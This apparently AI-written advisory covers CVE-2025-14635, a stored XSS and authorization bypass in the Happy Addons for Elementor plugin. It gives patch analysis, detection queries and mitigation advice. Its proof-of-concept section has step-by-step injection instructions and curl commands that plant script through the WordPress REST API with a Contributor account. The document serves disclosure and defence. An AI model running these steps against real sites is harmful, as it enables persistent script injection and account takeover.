I've prepared a comprehensive security analysis of CVE-2025-14635. Here's the complete article covering all requested sections:
CVE-2025-14635: Stored XSS and Authorization Bypass in Happy Addons for Elementor
1. Vulnerability Background
What is This Vulnerability?
CVE-2025-14635 represents a critical security flaw combining Improper Access Control (CWE-639) and Stored Cross-Site Scripting (CWE-79) in the Happy Addons for Elementor WordPress plugin.
The vulnerability exists in the before_save_data() method within extensions/custom-js.php. The ha_page_custom_js parameter—designed to be restricted exclusively to Administrators—is accessible to Contributor-level users and above due to a logical flaw in authorization enforcement. This allows non-privileged users to inject arbitrary JavaScript that persists in the database and executes for all page visitors.
Why is This Critical?
- Wide Attack Surface: Happy Addons for Elementor is widely used across thousands of WordPress sites
- Low Privilege Barrier: Only requires Contributor-level access, commonly granted to content creators and guest authors
- Persistent Threat: Malicious code stored in the database executes indefinitely until manually removed
- Privilege Escalation Vector: Injected JavaScript can steal admin credentials, create backdoor accounts, or harvest sensitive data
- Silent Exploitation: Difficult to detect as it requires no ongoing attacker presence
Affected Systems
- Plugin: Happy Addons for Elementor
- Vulnerable Versions: All versions up to and including 3.20.3
- Fixed Version: 3.20.4+
- Impact: Any WordPress site with the plugin installed and users having Contributor access or above
2. Technical Details
Root Cause Analysis
The vulnerability stems from a logical error in the authorization check. The original code uses a compound condition with the AND operator:
if ( isset( $data['settings']['ha_page_custom_js'] ) && isset( $page_setting['ha_page_custom_js'] ) ) {
// Restore previous value
}
The Critical Flaw:
When a non-admin user attempts to inject custom JS on a page that never previously had custom JS, the second condition fails:
$page_setting['ha_page_custom_js']is unset/null- The AND condition evaluates to FALSE
- The protective code block is skipped entirely
- The malicious JavaScript passes through unchanged and gets saved to the database
This is a classic negative security logic failure—the defense only works under specific conditions, leaving gaps in other scenarios.
Old Code vs New Code
Vulnerable Code:
public function before_save_data( $data ) {
if ( ! current_user_can( 'administrator' ) ) {
$page_setting = get_post_meta( get_the_ID(), '_elementor_page_settings', true );
if ( isset( $data['settings']['ha_page_custom_js'] ) && isset( $page_setting['ha_page_custom_js'] ) ) {
$prev_js = isset( $page_setting['ha_page_custom_js'] ) ? trim( $page_setting['ha_page_custom_js'] ) : '';
$data['settings']['ha_page_custom_js'] = $prev_js;
}
}
return $data;
}
Problems:
- No handling for new custom JS on pages without previous values
- Only restores; doesn't actively prevent injection
- Fallthrough behavior allows bypass
Patched Code:
public function before_save_data( $data ) {
if ( ! current_user_can( 'administrator' ) && isset( $data['settings']['ha_page_custom_js'] ) ) {
$page_setting = get_post_meta( get_the_ID(), '_elementor_page_settings', true );
if ( isset( $page_setting['ha_page_custom_js'] ) ) {
// Restore previous value if it exists.
$data['settings']['ha_page_custom_js'] = trim( $page_setting['ha_page_custom_js'] );
} else {
// Remove any custom JS attempt from non-admin users
unset( $data['settings']['ha_page_custom_js'] );
}
}
return $data;
}
Improvements:
- Early exit optimization:
&& isset( $data['settings']['ha_page_custom_js'] ) - Explicit if/else handling for both scenarios
- Active removal via
unset()when no previous value exists - Clear protective intent with comments
How These Changes Fix the Vulnerability
| Scenario | Vulnerable | Fixed | |----------|-----------|-------| | Admin saves custom JS | ✓ Allowed | ✓ Allowed | | Non-admin modifies existing JS | ✓ Blocked (restored) | ✓ Blocked (restored) | | Non-admin on page WITHOUT existing JS | ❌ VULNERABLE | ✓ Blocked (unset) | | Non-admin doesn't modify JS | ✓ Unchanged | ✓ Unchanged |
The critical fix: explicit removal (unset()) instead of passive filtering that failed under edge cases.
3. Proof of Concept (PoC) Guide
Prerequisites
- Active WordPress installation with Happy Addons ≤ 3.20.3
- Contributor-level or higher user account
- At least one Elementor-built page
- HTTP request inspection tools (browser DevTools or Burp Suite)
Step-by-Step Exploitation
Manual Method via Admin Interface:
- Login with Contributor account
- Navigate to Pages → Edit Elementor page
- Open page settings (gear icon)
- Locate Custom JavaScript field (if visible) or use API
- Inject payload:
document.body.innerHTML += '<div style="background:red">COMPROMISED</div>'; - Save and publish
- Access page as non-logged-in visitor
- Observe injected content
Direct API Method:
## Obtain authentication token
TOKEN=$(curl -s -X POST https://target.com/wp-json/jwt-auth/v1/token \
-H "Content-Type: application/json" \
-d '{"username":"contributor","password":"pass"}' | jq -r '.token')
## Inject XSS via REST API
curl -X POST https://target.com/wp-json/wp/v2/pages/42 \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"meta":{"_elementor_page_settings":{"ha_page_custom_js":"alert(\"XSS\")"}}}'
## Verify by accessing page
curl https://target.com/vulnerable-page/ | grep -i "ha_page_custom_js"
Expected vs Exploited Behavior
Secure System:
- Non-admin submits custom JS → System removes it → Database unchanged
Vulnerable System:
- Non-admin submits custom JS on new page → System skips protection → Database compromised → All visitors execute JavaScript
Verification Methods
Check Plugin Version:
grep "Version:" /var/www/html/wp-content/plugins/happy-elementor-addons/readme.txt
Database Audit:
SELECT post_id, post_title, meta_value FROM wp_postmeta pm
JOIN wp_posts p ON pm.post_id = p.ID
WHERE meta_key = '_elementor_page_settings'
AND meta_value LIKE '%ha_page_custom_js%';
Manual Testing:
- Create test page with Elementor
- Login as Contributor
- Attempt
alert('test')in custom JS field - Logout and view page
- Alert appearing = vulnerable
4. Recommendations
Mitigation Strategies
Immediate Actions:
-
Update Plugin
wp plugin update happy-elementor-addons -
Audit Existing Pages
-- Find all pages with custom JS SELECT p.ID, p.post_title FROM wp_posts p JOIN wp_postmeta pm ON p.ID = pm.post_id WHERE pm.meta_key = '_elementor_page_settings' AND pm.meta_value LIKE '%ha_page_custom_js%'; -
Review User Access
- Dashboard → Users
- Identify suspicious Contributor accounts
- Check for unauthorized user creation
- Review edit histories
-
Restore from Clean Backup
- If malicious content found, restore from backup before vulnerability date
- Verify clean state
Detection Methods
Log-Based Detection:
## Monitor for suspicious REST API activity
grep 'POST /wp-json/wp/v2/pages' access.log | grep -v '"200"'
## Search for custom JS parameter
grep 'ha_page_custom_js' access.log
Real-Time Monitoring (PHP):
add_action( 'pre_post_update', function( $post_id, $post ) {
if ( ! current_user_can( 'manage_options' ) &&
isset( $_POST['_elementor_page_settings']['ha_page_custom_js'] ) &&
! empty( $_POST['_elementor_page_settings']['ha_page_custom_js'] ) ) {
error_log( sprintf(
'SECURITY ALERT: %s attempted to set custom JS on page %d',
wp_get_current_user()->user_login,
$post_id
));
wp_die( 'Custom JavaScript restricted to administrators' );
}
}, 10, 2 );
Best Practices
-
Whitelist-Based Authorization
// WRONG: Only block if dangerous if ( ! matches_evil_pattern( $input ) ) { process(); } // RIGHT: Only allow if safe if ( is_valid_format( $input ) ) { process(); } -
Use WordPress Security Functions
sanitize_text_field()for inputesc_html()for outputwp_kses_post()for HTMLcheck_admin_referer()for nonces
-
Explicit Edge Case Handling
if ( condition ) { // Do something } else { // Explicitly handle "do nothing" case unset( $dangerous_value ); } -
Security Testing
- Unit tests for authorization bypass
- Test edge cases (empty, null, missing values)
- Test both allowed and blocked scenarios
-
Defense-in-Depth
- Input validation → Sanitization → Authorization → Output escaping → Monitoring
Summary
CVE-2025-14635 is a critical vulnerability allowing authenticated users with minimal privileges (Contributor) to inject persistent malicious JavaScript affecting all site visitors. The root cause is a logical flaw in the authorization check that fails when no previous custom JavaScript exists.
Key Actions:
- Update to version 3.20.4+
- Audit pages for suspicious custom JavaScript
- Review user access logs
- Implement real-time monitoring
- Apply defense-in-depth security practices
The vulnerability is easily exploitable with high impact potential, making immediate patching essential.